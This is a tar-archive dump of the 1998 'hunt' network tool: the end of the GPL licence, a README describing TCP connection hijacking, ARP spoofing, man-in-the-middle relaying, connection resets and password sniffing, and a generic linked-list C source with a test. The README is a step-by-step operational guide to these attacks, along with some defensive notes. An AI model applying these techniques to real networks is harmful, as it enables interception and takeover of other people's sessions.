CORRECTION. 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS Appendix: How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) 19yy This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. Also add information on how to contact you by electronic and paper mail. If the program is interactive, make it output a short notice like this when it starts in an interactive mode: Gnomovision version 69, Copyright (C) 19yy name of author Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, the commands you use may be called something other than `show w' and `show c'; they could even be mouse-clicks or menu items--whatever suits your program. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the program, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision' (which makes passes at compilers) written by James Hacker. , 1 April 1989 Ty Coon, President of Vice This General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Library General Public License instead of this License. hunt-1.5/README100644 0 0 64472 7114736703 11341 0ustar rootroot/* * hunt * * Copyright (C) 1998 kra * Designed and implemented by kra * */ DISCLAIMER ---------- Authors are not responsible of any damages this software can cause. READ FIRST ---------- Please make sure you KNOW what you are doing before using hunt. It is recommended that you should test how it behaves on some test connections and then use it wisely. OVERVIEW -------- Hunt is a program for intruding into a connection, watching it and resetting it. It has several features, which I didn't find in any product like Juggernaut or T-sight that inspired me in my development. I found Juggernaut not flexible enough for further development so I started from scratch (see FEATURES and DESIGN OVERVIEW). Note that hunt is operating on Ethernet and is best used for connections which can be watched through it. However, it is possible to do something even for hosts on another segments or hosts that are on switched ports. The hunt doesn't distinguish between local network connections and connections going to/from Internet. It can handle all connections it sees. Connection hijacking is aimed primarily at the telnet or rlogin traffic but it can be used for another traffic too. The reset, watching, arp, ... features are common to all connections. FEATURES -------- - connection management * setting what connections you are interested in * detecting an ongoing connection (not only SYN started) * Normal active hijacking with the detection of the ACK storm * ARP spoofed/Normal hijacking with the detection of successful ARP spoof * synchronization of the true client with the server after hijacking (so that the connection don't have to be reset) * resetting connection * watching connection - daemons * reset daemon for automatic connection resetting * arp spoof/relayer daemon for arp spoofing of hosts with the ability to relay all packets from spoofed hosts. * MAC discovery daemon for collecting MAC addresses * sniff daemon for logging TCP traffic with the ability to search for a particular string - host resolving * deferred host resolving through dedicated DNS helper servers. - packet engine * extensible packet engine for watching TCP, UDP, ICMP and ARP traffic * collecting TCP connections with sequence numbers and the ACK storm detection. - misc. * determining which hosts are up - switched environment * hosts on switched ports can be spoofed, sniffed and hijacked too ------------------------------------------------------------------------------- TECHNICAL EXPLANATION ------------------------------------------------------------------------------- Let me explain some technical issues which I use in hunt and which are essential for understanding how it works and what you should expect. The important terms are IP spoofing, ARP spoofing and ACK storm. Even if you are familiar with them, you can get some new information. IP spoofing - you set the packet source address to the IP address of the host you pretend to be. ARP spoofing - you set the packet source hardware address (source MAC address) to the address of the host you pretend to be. Simple Active Attack against TCP connections - It is a well known type of attack in which you send a packet with spoofed IP addresses and possibly also with spoofed ARP addresses (true MAC addresses of client and server - not fake ones as explained further). In this way, you can force a command to the stream but you are likely to receive the ACK storm (as explained further) unless the original client host of the connection is running Linux. ARP spoofing - I use this term also for forcing the remote host to think that the host I want to be has a different MAC address so the remote host sends replies to that MAC address and the original client host is not able to receive them (but hunt is watching carefully and handles all consequences) (Explaining how to force a host on the network to think that the other host has a different MAC I leave as an exercise - I encourage you to read the source code). Please note that I use the term ARP spoofing instead of the term ARP forcing or something like that. So don't be confused, if I say ARP spoofing, I mean using some MAC address of a host or just some fake MAC address. Note that ARP spoofing (with my meaning to force some MAC) doesn't work on Solaris2.5 because it has expiration timers on ARP entries so you can't easily force Solaris to drop an ARP entry. The entry usually expires after 20min or less (but you have a chance to force it and hunt supports this mode). The expiration timers on Solaris are set by: ndd -set /dev/ip ip_ire_flush_interval 60000 /* 1 min */ ndd -set /dev/arp arp_cleanup_interval 60 /* 1 min */ and I encourage you to ask your netadmin to set the above values on all Solaris machines. The Win95/NT4sp3, Linux2.0, OSF1 V4.0, HP-UX10.20 are not protected in this way so you can easily use the described technique on them (actually, they have timers, but they are not operating like in Solaris; in fact, only Solaris is the exception). Actually, hunt uses this technique such that it wants to force a fake MAC of the server to the client and a fake MAC of the client to the server. Then both the server and the client are sending packets to that faked MACs (and hunt can of course handle them). However, it is sufficient that only one host has a fake MAC of the other host. The ACK storm can't occur in this situation either. So you can use this technique even if one end is Solaris and the other isn't. You will just succeed in the other host and that is enough. So the only problem is when the connection is between two Solaris machines. However, if there is any root connection ongoing you can easily push the commands suggested above without ARP spoofing to the connection and alter the expiration timers of the ARP cache. ACK Storm - The ACK storm is caused by majority of TCP stacks (!!! Linux2.0 is an exception !!!). Let's imagine that you send some data to an ongoing connection to the server (as if sent by the client - with expected seq. numbers, ... ). The server responds with the acknowledgment of the data you sent but this acknowledgment is received by the original client too. But from the original client point of view, the server has acknowledged data that doesn't exist on the client. So something strange occurred and the original client sends the "right" sequence number with ACK to the server. But the TCP rules say that it is required to generate an immediate acknowledgment when an out-of-order segment is received. This ACK should not be delayed. So the server sends the acknowledgment of non-existent data to the client again. And the client responses, ... Only if the source host of the connection is Linux then the ACK storm doesn't occur. Note that if you use ARP spoofing (forcing) then the ACK storm can't come because one or both ends will send packets with fake MACs and those packets are received by hunt rather than by the other host. Connection Reset - with a single properly constructed packet you can reset the connection (RST flag in TCP header). Of course, you have to know the sequence number but it is not a problem for hunt which is watching all the time. You can reset server, client, or both. When you reset only one end the other end is reset when it tries to send data to the first host which will response with RST because of the connection reset on it. Connection sniffing/watching - the simplest thing you can do is to silently sit in you chair and watch hunt output about any connection which you choose from the list. Connection Synchronization - well, that's one of the main features of hunt. If you put some data to the TCP stream (through simple active attack or ARP spoofing), you desynchronize the stream from the server/original client point of view. After some work done on that connection you can just reset it or you can try to synchronize both original ends again. That is not an easy task. The user on the client is prompted to type some chars and some chars are sent to the client and server. The main goal of all stuff is to synchronize the sequence numbers on both client and server again. Switch/Segment traffic rerouting - With ARP spoofing you can even force switch so that it will send you the traffic for hosts on another segment/switched port. This is because a switch will think that the MAC belongs to your port. Be careful if your switch has some security policy and MACs have been explicitly set up on a per port basis - but in fact I don't ever see such a configuration on "ordinary" network. ARP-relay daemon - Don't be confused. I use this term for hunt daemon which is responsible for inserting packets to the network (rerouting) of all data it receives from ARP spoofed hosts. Switched environment - Well, the hunt is now capable of watching and hijacking hosts that are on switched ports. In common you can't watch the hosts traffic on switched ports but if you first ARP spoof them (with ARP spoof daemon menu) you are able to look at the connections that are between that hosts. First you do arp spoof and the hosts will send you the traffic and from that time you can list the connections between them, then you can watch and hijack them. It is commonly accepted that the switches protect your connections again inside intruders and spoofers. Well, that is still true for carefully setuped switches. The switches that are plugged to the LAN without any port security configuration are useless in the job to protect your LAN. DESIGN OVERVIEW --------------- The development model is based on a packet engine (hunt.c) which runs in its own thread and captures packets from the network. The packet engine collects information of TCP connections/starting/termination, sequence numbers, and MAC addresses. It collects the MACs and seq. numbers from the server point of view and separate MACs and seq. numbers from the client point of view. So it is prepared for hijacking. This information (seq. num., MAC, ...) is available to modules so they don't have to analyze and collect it. Modules can register functions with the packet engine which are then invoked when new packets are received. A module function determines if the module is interested in a packet or not and can place the packet in a module specific list of packets. A module function can also send some packet to the network if it is desirable to do it very fast. The module (usually in some other thread so it needs to be scheduled to be run) then gets packets from the list and analyzes them. In this way, you can easily develop modules which perform various activities. Packets to be sent as a response to the network are described by structures so you don't have to care about some default fields or checksums. At this time, functions for TCP, ICMP and ARP traffic are already prepared. (UDP is missing because I don't use it in any module) A separate set of daemons is used for host resolving (DNS). That is because the gethostbyname/gethostbyname_r function is protected by mutex (As far as I know - it was so two years ago - I didn't try it now) so you can't run it truly parallel in a multithreaded environment. Therefore, the commonly used workaround is to fire up some helper daemons through fork which will run gethostbyname. ----------------------------------------------------------------------------- USER ENVIRONMENT ----------------------------------------------------------------------------- Command line parameters ----------------------- -V print version -v verbose (print pids of created threads) -i interface listen on this interface. Default is eth0 Well, the user environment isn't graphical but I believe that you will like it. In the title of all menus is some status information about hunt. First, there is an indication with which menu you are working. Second, the number of packets received by hunt is shown. Hunt pre-allocates some buffers for packets; the status of free and allocated buffers is displayed as the third value. The number of free buffers is low for a high loaded network or the ACK storm or if you have poor hardware. In my case, for example, the numbers 63/64 were normally indicated meaning that only one buffer was used, but after the ACK storm, I have something like 322/323. Note that the buffers once allocated are not freed. The low number of free buffers can also mean some bug in hunt but I think I carefully debugged all modules to this kind of bug. The last indicator reports which daemons (actually threads) are running. They are: R - reset daemon, Y - arp relayer, S - sniffer, M - MAC discoverer. If you switch on the verbose option you get additional information about how many packets were dropped - they were fragments (see the bugs) or were malformed, and how many packets belong to other protocols than TCP, UDP, ICMP and ARP. In the prompt for user input is indicator that will tell you through '*' char that hunt added new connection(s) to the connection list since last connection listening. General interface ----------------- In all menus the x key works as escape. The network mask is denoted by the ip_address/mask notation where mask is the number of 1's on the left side of the network mask. For example, 0.0.0.0/0 means everything and 192.168.32.10/32 means only that host. For most modules is used: l) list items a) add item m) modify item d) delete item They will be referred in this text as l) a) m) d) List/Watch/Reset connection --------------------------- You can obtain the list of connections tracked by the hunt packet engine. Which connections are tracked is specified in the options menu. You can interactively watch or reset these connections. You can also perform hijacking on them (next two menu items). ARP/Simple hijack ----------------- ARP/Simple hijack offers you an interactive interface for the insertion of data to the selected connection. You can perform ARP spoofing for both connection ends, for only one end or you can not to do it at all. If you don't do ARP spoofing then you probably receive the ACK storm after typing the first char. When you do ARP spoofing, it is checked if it succeeds. If not, you are prompted if you want to wait until it succeeds (you can interrupt this waiting through CTRL-C of course). After inserting some data to the connection you type CTRL-] and then you can synchronize or reset the connection. If you choose synchronization, the user is prompted to type some chars and after he does so the connection will be in the synchronous state. You can interrupt the synchronization process with CTRL-C and then you can reset the connection. Note that CTRL-C is used widely for interrupting an ongoing process. The CTRL-] (like telnet) is used for finishing the interactive insertion of data to the connection. The ARP/Simple hijack doesn't automatically reset the connection after it detects the ACK storm so you have to do it yourself. Note also that ARP/Simple hijack works with the ARP relayer (as described further) so that other connections are not affected. Normally, if you ARP spoof two servers then the ARP/Simple hijack handles only one selected connection between these two hosts but other connections between these two hosts look like they freeze. If you start the ARP relayer, then these other connections are handled and rerouted through. So other connections from one spoofed host to the other are not affected at all. It is recommended to run ARP relayer if you do ARP hijacking of two servers. Note that if you ARP spoof (force) some client MAC to the server then only connections going from the server to that client are affected. Other connections from the server to other machines are untouched. Simple hijack ------------- Simple hijack allows you to insert a command to the data stream of the connection. When you insert the command, hunt waits for it to complete up to a certain timeout and if the ACK storm doesn't occur, you are prompted for the next command. After that, you can synchronize or reset the connection. Note that you can use the interactive interface to simple hijack when you use ARP/simple hijack without ARP spoofing but if you use full interactive interface of ARP/simple hijack without ARP spoofing you are likely to get the ACK storm immediately after typing the first char. So this mode of hijacking is useful when you have to deal with the ACK storm because it sends your data to the connection in a single packet. When the ACK storm is in progress it is very hard to deliver other packets from hunt to the server as the network and server are congested. DAEMONS ------- I call them daemons but they are actually threads. All daemons can be started and stooped. Don't be surprised when you insert or modify some rule in a daemon and it does nothing. The daemon is not running - you have to start it. All daemons are by default stopped even though you can alter the configuration. Common commands in the daemons menu are: s) start the daemon k) stop the daemon l) list configuration items a) add config. item m) modify config. item d) delete config. item Reset daemon ------------ This daemon can be used to perform automatic resets of ongoing connections that hunt can see. You can describe which connections should be terminated by giving src/dst host/mask and src/dst ports. The SYN flag off means that all specified connections should be terminated (even ongoing). The SYN flag on means that only newly started connections are reset. So the connections that are in progress are not affected. Don't forget to start the daemon. ARP daemon ---------- Here you can do ARP spoofing of hosts. You enter src and dst addresses and desired srcMAC. The dst is then forced to think that src has srcMAC. You can use some fake MAC or better MAC of host that is currently down. You just want that the hosts will send you all the data (so you can even look at packets that are on a different segment or switched port that you will not normally see) The ARP module looks carefully for packets which will break ARP spoofing of hosts and handle them but you can even specify the refresh interval for ARP spoofing but it is not necessary to do it. Set the refresh interval only if you are experienced with some bad or strange behavior of spoofed hosts. Also there is the possibility to test the hosts for successful spoof with the ability to force that spoof - it is recommended to test the ARP spoof if something looks like it is wrong or the computer doesn't send the traffic to the hunt. The force option is handful if the first spoofing packets are discarded with switch so if you are running hunt against hosts on switched ports you can try to run the force mode by example for 10s and then break it with CTRL-C if the spoof continues to fail. The ARP relayer daemon is used to perform ARP relaying of ARP spoofed connections. When you insert some ARP spoof of hosts the ARP spoofing is performed immediately even if the relayer isn't running!!!. But if the ARP spoofing succeeds, the connections will look like they freeze. For rerouting (not IP routing !) these connections through your hunt you need to start the ARP relayer. The relayer works well with ARP/simple hijack so once you have hosts ARP spoofed with ARP relaying you can easily do ARP/simple hijack which will detect that the hosts are already ARP spoofed and takes over the connection immediately. With this technique you can easily become man in the middle from the beginning of the connection even though your host with hunt isn't an IP gateway. I encourage you to write other application specific protocol handlers for the man in the middle attack as it is really simple with this framework. Sniff daemon ------------ The purpose of the sniff daemon is to log specified packets. The sniff daemon can also search for a simple pattern (string) in the data stream (see the bugs section). You can specify which connection you are interested in, where to search (src, dst, both), what do you want to search, how many bytes you want to log, from what direction (src, dst, both) and to what file should the daemon write. All logged files are stored in the .sniff directory. The default file name for logging is composed of the host and port names. In the options submenu you can set how to log new lines (\r,\n) (as new-lines or as hex num.). MAC discovery daemon -------------------- This daemon is used to collect MAC addresses corresponding to the specified IP range. You can enter the time after which the daemon will try collecting again (default is 5min). Host up menu ------------ The host up module determines which hosts are up (with TCP/IP stack). You just specify the IP range and that space is then searched for running hosts. It is capable to determine which hosts have network interface in promiscuous mode. The promiscuous mode usually shows that the host is running some kind of sniffer/network analyzer. Options menu ------------ In the options menu you can tune different things: l) a) m) d) list/add/mod/del connection policy entry First of all you can select which connections should be tracked. The default setting is to look at telnet connections from all hosts but you can adjust this behavior by the specification of src/dst address/mask src/dst port pairs. With commands: l) a) m) d) you set what you are interested in. c) connection listening properties You can set whether the sequence numbers and MACs of ongoing connections will be displayed during connection listening. h) host resolving You can turn on resolving of hosts to their names. As the resolving is deferred you don't get the names of hosts immediately. Just try to list connections several times and you will see the hosts names. (I used this deferred approach because I didn't want any delay of interface that the resolving can cause). r) reset ACK storm timeout This timeout is used in simple hijack to automatically reset the connection after the ACK storm is detected. Note that you can receive the ACK storm even in arp/simple hijack in case you don't perform ACK spoofing of any host. s) simple hijack timeout for next cmd Simple hijack has not an interactive connection interface. That means you write the whole command which will be inserted into the connection data stream. If no data is transferred through the connection up to this timeout, you are prompted for the next command. q) ARP request/reply packets Number of request or reply packets hunt will send when it is doing arp spoofing. t) ARP request spoof through request Option whether hunt will send ARP spoof request or ARP spoof reply when it receives broadcasted ARP request which will break ARP spoof. w) switched environment Some optimization for switched environment. It works perfectly for non switched environment also. y) ARP spoof with my MAC Set the originating MAC address of sent spoofed ARP to my (hunt) ethernet MAC - sometimes helps in switched environment. e) learn MAC from IP traffic You can enable that MAC addresses will be learned from all IP traffic not just from ARP. p) number of printed lines per page in listening Self explanatory v) verbose on/off Self explanatory ---------------------------------------------------------------------------- TESTED ENVIRONMENT ---------------------------------------------------------------------------- HUNT program requirements: - Linux >= 2.2 - Glibc with linuxthreads - Ethernet Tested hosts: Linux 2.0, 2.1, 2.2, Solaris.2.5.1, NT4sp3/4, Win95, OSF V4.0D, HPUX 10.20, IRIX 6.2, pSOS Tested network equipment: BayNetworks 28115, 28200, 300 switches 3Com SuperStack II 3000, 1000 switches SECURITY NOTES -------------- Please note the already known truth that telnet and similar programs which send passwords in clear text are vulnerable to the described attacks. Programs using one time passwords are also easily attacked and in fact they are useless if someone can run a program like hunt. Only full encrypted traffic isn't vulnerable to these attacks but note that you can become a man in the middle if you use ARP spoofing (forcing) without the ACK storm and you can try to do something. Also unconfigured switch doesn't protect you from sniffing or hijacking. It is necessary to carefully configure port security on the switches in order to protect the computers on the switched ports. Detecting attacks isn't an easy task. For ARP spoofing there are tools which can detect it. The ACK storm is detectable by some sophisticated network analyzers (you can detect the pattern of the ACK storm or the statistics of ACKs without data). If you run hunt on your network you can detect the ACK storm because the hunt can detect the ACK storm pattern. PERFORMANCE NOTE ---------------- Make sure you are running hunt on idle machine with sufficient power (I used PII-233 with 128MB RAM) and without any other packet analyzer because if you use advanced features like arp spoofing or hijacking hunt needs to reply fast with it's own packets inserted into the traffic on the network. DOWNLOAD -------- This software can be found at http://www.gncz.cz/kra/index.html or at ftp://ftp.gncz.cz/pub/linux/hunt/ KNOWN BUGS ---------- - some structures are poorly locked through mutexes - if you watch connection then some escape sequences from that connection can influent your terminal. Note that your terminal is named "Linux" ("xterm" - if you run it from X, ...) but the escape sequences are for the client side terminal which may or may not be Linux so you can get some mess. - sniff is not capable to search for a pattern which crosses the packet boundary. That means it can't search for a pattern of the user typed input as this input is usually transferred with 1B data long packets. - hunt doesn't support defragmentation so the IP fragments have to be dropped. BUG FIXES, SUGGESTIONS ---------------------- Please send bug descriptions, patches, suggestions, new modules or successful stories to kra@gncz.cz ACKNOWLEDGMENTS --------------- I would like to thank Sven Ubik for his invaluable input and feedback. -------------------------------------------------------------------------- FINAL WORD -------------------------------------------------------------------------- Note that this software was written only for my fun in my free time and it was a great exercise of TCP/IP protocols. I am now familiar with seq. numbers, ACKs, timeouts, MACs, checksums, ... to the finest level. As I have some pretty good background this "hunt" challenge made me think that I hadn't known TCP/IP as great as I had thought. You are welcome to read the source code and to try to modify it or write your own modules. hunt-1.5/c/ 40755 0 0 0 7114736663 10556 5ustar rootroothunt-1.5/c/list.c100644 0 0 26413 7113472106 12004 0ustar rootroot/* * * This is free software. You can redistribute it and/or modify under * the terms of the GNU General Public License version 2. * * Copyright (C) 1998 by kra * */ #include #include #include #include #include #include "list.h" void list_init(struct list *l, int next_offset) { l->l_first = l->l_last = NULL; l->l_off = next_offset; l->l_iter = NULL; l->l_produce_done = 0; #ifdef _REENTRANT l->l_locked = 0; pthread_mutex_init(&l->l_mutex, NULL); pthread_cond_init(&l->l_notempty, NULL); l->l_locked_thr = (pthread_t) 0; #endif } static inline void __lock(struct list *l) { #ifdef _REENTRANT if (!l->l_locked || l->l_locked_thr != pthread_self()) pthread_mutex_lock(&l->l_mutex); #endif } static inline void __unlock(struct list *l) { #ifdef _REENTRANT if (!l->l_locked || l->l_locked_thr != pthread_self()) pthread_mutex_unlock(&l->l_mutex); #endif } void list_flush(struct list *l) { struct list_iterator *i; __lock(l); l->l_first = l->l_last = NULL; for (i = l->l_iter; i; i = i->i_next) { i->i_cur = NULL; } __unlock(l); } static inline void __update_iterators(struct list *l, void *old_item, void *new_item) { struct list_iterator *i; for (i = l->l_iter; i; i = i->i_next) { if (i->i_cur == old_item) i->i_cur = new_item; } } void list_push(struct list *l, void *m) { __lock(l); if (!(*LIST_NEXT_PTR(l, m) = l->l_first)) l->l_last = m; __update_iterators(l, l->l_first, m); l->l_first = m; __unlock(l); } static inline void __enqueue(struct list *l, void *m) { *LIST_NEXT_PTR(l, m) = NULL; /* m->next = NULL */ if (l->l_last) *LIST_NEXT_PTR(l, l->l_last) = m; /* l->l_last->next = m */ else l->l_first = m; l->l_last = m; } void list_insert_at(struct list *l, int nr, void *m) { void **p; __lock(l); p = &l->l_first; while (*p && nr--) { p = &(*LIST_NEXT_PTR(l, *p)); } *LIST_NEXT_PTR(l, m) = *p; if (*p) *p = m; else __enqueue(l, m); __update_iterators(l, *LIST_NEXT_PTR(l, m), m); __unlock(l); } void list_enqueue(struct list *l, void *m) { __lock(l); __enqueue(l, m); __unlock(l); } void list_produce(struct list *l, void *m) { __lock(l); __enqueue(l, m); #ifdef _REENTRANT pthread_cond_signal(&l->l_notempty); #endif __unlock(l); } void list_produce_start(struct list *l) { __lock(l); l->l_produce_done = 0; __unlock(l); } void list_produce_done(struct list *l) { __lock(l); l->l_produce_done = 1; #ifdef _REENTRANT pthread_cond_signal(&l->l_notempty); #endif __unlock(l); } static inline void *__pop(struct list *l) { void *retval; if ((retval = l->l_first)) { if (!(l->l_first = *LIST_NEXT_PTR(l, retval))) l->l_last = NULL; __update_iterators(l, retval, l->l_first); } return retval; } void *list_pop(struct list *l) { void *retval; __lock(l); retval = __pop(l); __unlock(l); return retval; } static void *__list_consume(struct list *l, const struct timespec *absts) { void *retval; int ret; struct timespec ts; __lock(l); #ifdef _REENTRANT while (!l->l_first && !l->l_produce_done) if (absts) { if ((ret = pthread_cond_timedwait(&l->l_notempty, &l->l_mutex, absts)) == ETIMEDOUT || ret == EINTR) break; } else { #if 0 pthread_cond_wait(&l->l_notempty, &l->l_mutex); #else /* * it can be interrupted through signal */ ts.tv_sec = 2000000000; ts.tv_nsec = 0; ret = pthread_cond_timedwait(&l->l_notempty, &l->l_mutex, &ts); if (ret == ETIMEDOUT || ret == EINTR) break; #endif } #endif retval = __pop(l); __unlock(l); return retval; } void *list_consume(struct list *l, const struct timespec *absts) { return __list_consume(l, absts); } void *list_consume_rel(struct list *l, const struct timespec *relts) { struct timeval now; struct timespec absts; gettimeofday(&now, NULL); absts.tv_sec = now.tv_sec + relts->tv_sec; absts.tv_nsec = now.tv_usec * 1000 + relts->tv_nsec; if (absts.tv_nsec >= 1000000000) { absts.tv_nsec -= 1000000000; absts.tv_sec++; } return __list_consume(l, &absts); } void *list_peek(struct list *l) { void *retval; __lock(l); retval = l->l_first; __unlock(l); return retval; } void *list_at(struct list *l, int nr) { void *retval, *p; int i; __lock(l); for (p = l->l_first, i = 0; p && i < nr; p = *LIST_NEXT_PTR(l, p), i++) ; if (p) retval = p; else retval = NULL; __unlock(l); return retval; } static inline int __func_remove(int nr, void *p, void *m) { if (p == m) return 1; else return 0; } static inline int __func_remove_at(int nr, void *p, void *m) { if (nr == (int) m) return 1; else return 0; } static inline void *__list_remove(struct list *l, int (*func)(int nr, void *, void *m), void *m) { void *retval; void **p; int nr; nr = 0; __lock(l); p = &l->l_first; while (*p) { if (func(nr, *p, m)) { /* if (*p == member) */ retval = *p; /* *p = (*p)->next */ if (!(*p = *LIST_NEXT_PTR(l, *p))) { if (!l->l_first) l->l_last = NULL; else l->l_last = LIST_THIS_PTR(l, p); } __update_iterators(l, retval, *p); __unlock(l); return retval; } p = &(*LIST_NEXT_PTR(l, *p)); /* p = &(*p)->next */ nr++; } __unlock(l); return *p; /* NULL */ } void *list_remove(struct list *l, void *m) { return __list_remove(l, __func_remove, m); } void *list_remove_at(struct list *l, int nr) { return __list_remove(l, __func_remove_at, (void *) nr); } void *list_remove_func(struct list *l, int (*func)(int nr, void *, void *m), void *m) { return __list_remove(l, func, m); } int list_count(struct list *l) { int i; void *p; __lock(l); for (i = 0, p = l->l_first; p; i++, p = *LIST_NEXT_PTR(l, p)) ; /* p = p->next */ __unlock(l); return i; } void list_lock(struct list *l) { #ifdef _REENTRANT if (!l->l_locked || l->l_locked_thr != pthread_self()) { pthread_mutex_lock(&l->l_mutex); l->l_locked_thr = pthread_self(); l->l_locked = 1; } else l->l_locked++; #endif } void list_unlock(struct list *l) { #ifdef _REENTRANT if (--l->l_locked == 0) pthread_mutex_unlock(&l->l_mutex); #endif } /* * list_iter */ void list_iter_set(struct list_iterator *i, struct list *l) { __lock(l); i->i_list = l; i->i_cur = l->l_first; i->i_next = l->l_iter; l->l_iter = i; __unlock(l); } void list_iter_end(struct list_iterator *i) { struct list_iterator **p; struct list *l; l = i->i_list; __lock(l); p = &l->l_iter; while (*p) { if (*p == i) { *p = i->i_next; break; } p = &(*p)->i_next; } __unlock(l); i->i_cur = NULL; i->i_next = NULL; i->i_list = NULL; } void *list_iter_get(struct list_iterator *i) { void *retval; struct list *l; l = i->i_list; __lock(l); retval = i->i_cur; if (retval) i->i_cur = *LIST_NEXT_PTR(l, retval); __unlock(l); return retval; } #ifdef TEST /* * * Test * */ #include #include #include #include #include #include int MAX_ITEMS = 1000; static int verbose = 0; struct test { int i; struct test *next; }; static int remove_func(int nr, void *m, void *arg) { if (((struct test *)m)->i == (int)arg) return 1; return 0; } static int verbose_print(int level, char *format, ...) { va_list ap; int retval; if (verbose >= level) { va_start(ap, format); retval = vprintf(format, ap); va_end(ap); return retval; } return 0; } int main(int argc, char *argv[]) { struct list l = LIST_INIT(struct test, next); struct list_iterator i1, i2; struct test *t, *s; int i; #if 0 struct test t1, t2, t3, t4, t5; t1.i = 1; t2.i = 2; t3.i = 3; t4.i = 4; t5.i = 5; list_enqueue(&l, &t1); printf("a %d\n", list_count(&l)); list_enqueue(&l, &t2); printf("b %d\n", list_count(&l)); // list_enqueue(&l, &t3); // list_remove(&l, &t3); list_remove(&l, &t2); printf("c %d\n", list_count(&l)); list_enqueue(&l, &t4); // list_enqueue(&l, &t5); printf("end %d\n", list_count(&l)); exit(0); #endif while ((i = getopt(argc, argv, "vi:")) != -1) { switch (i) { case 'v': ++verbose; break; case 'i': MAX_ITEMS = atoi(optarg); break; default: fprintf(stderr, "bad option\n"); exit(1); } } assert(s = malloc(sizeof(int) * MAX_ITEMS)); verbose_print(1, "start\n"); for (i = 0; i < MAX_ITEMS; i++) { assert(t = malloc(sizeof(struct test))); t->i = i; verbose_print(2, "%d ", i); list_push(&l, t); } assert(MAX_ITEMS == list_count(&l)); verbose_print(1, "\nremove even members\n"); for (i = 0; i < MAX_ITEMS; i += 2) { t = list_remove_func(&l, remove_func, (void *) i); assert(t); assert(t->i == i); verbose_print(2, "%d ", i); free(t); } verbose_print(1, "\nremove odd members\n"); for (i = MAX_ITEMS - 1; i >= 0; i -= 2) { t = list_pop(&l); assert(t); assert(t->i == i); verbose_print(2, "%d ", i); free(t); } assert(!list_pop(&l)); verbose_print(1, "\nengueue members\n"); for (i = 0; i < MAX_ITEMS; i++) { assert(t = malloc(sizeof(struct test))); t->i = i; verbose_print(2, "%d ", i); list_enqueue(&l, t); } verbose_print(1, "\niter_get/list_nr members\n"); list_iter_set(&i1, &l); for (i = 0; i < MAX_ITEMS; i++) { t = list_iter_get(&i1); assert(t); assert(t->i == i); verbose_print(2, "%d ", i); t = list_at(&l, i); assert(t); assert(t->i == i); } assert(!list_iter_get(&i1)); list_iter_end(&i1); verbose_print(1, "\n2 iter_get members\n"); list_iter_set(&i1, &l); list_iter_set(&i2, &l); while ((t = list_iter_get(&i1))) { assert(t); verbose_print(2, "%d ", t->i); t = list_iter_get(&i2); assert(t); verbose_print(2, "%d ", t->i); } assert(!list_iter_get(&i1)); assert(!list_iter_get(&i2)); list_iter_end(&i1); list_iter_end(&i2); verbose_print(1, "\niter push/pop test\n"); list_iter_set(&i1, &l); list_iter_set(&i2, &l); t = list_pop(&l); verbose_print(2, "pop item %d, ", t->i); verbose_print(2, "%d ", ((struct test *) list_iter_get(&i1))->i); verbose_print(2, "%d ", ((struct test *) list_iter_get(&i2))->i); list_push(&l, t); verbose_print(2, "%d ", ((struct test *) list_iter_get(&i1))->i); verbose_print(2, "%d ", ((struct test *) list_iter_get(&i2))->i); list_iter_end(&i1); list_iter_end(&i2); t = list_pop(&l); list_iter_set(&i1, &l); list_iter_set(&i2, &l); list_push(&l, t); verbose_print(2, "%d ", ((struct test *) list_iter_get(&i1))->i); verbose_print(2, "%d ", ((struct test *) list_iter_get(&i2))->i); list_iter_end(&i1); list_iter_end(&i2); verbose_print(1, "\npop members\n"); for (i = 0; i < MAX_ITEMS; i++) { t = list_pop(&l); assert(t); assert(t->i == i); verbose_print(2, "%d ", i); free(t); } assert(!list_pop(&l)); assert(list_count(&l) == 0); verbose_print(1, "\nenqueue members\n"); for (i = 0; i < MAX_ITEMS; i++) { s[i].i = i; verbose_print(2, "%d ", i); list_enqueue(&l, &(s[i])); } assert(list_count(&l) == MAX_ITEMS); verbose_print(1, "\nremove members\n"); for (i = MAX_ITEMS - 1; i >= 0; i--) { assert(list_remove(&l, &(s[i])) == &(s[i])); }; verbose_print(1, "\nenqueue members\n"); for (i = 0; i < MAX_ITEMS; i++) { list_enqueue(&l, &(s[i])); } verbose_print(1, "\nremove 1/2 members\n"); for (i = MAX_ITEMS - 1; i >= MAX_ITEMS / 2; i--) { assert(list_remove(&l, &(s[i])) == &(s[i])); } verbose_print(1, "\nenqueue 1/2 members\n"); for (i = MAX_ITEMS / 2; i < MAX_ITEMS; i++) { list_enqueue(&l, &(s[i])); } 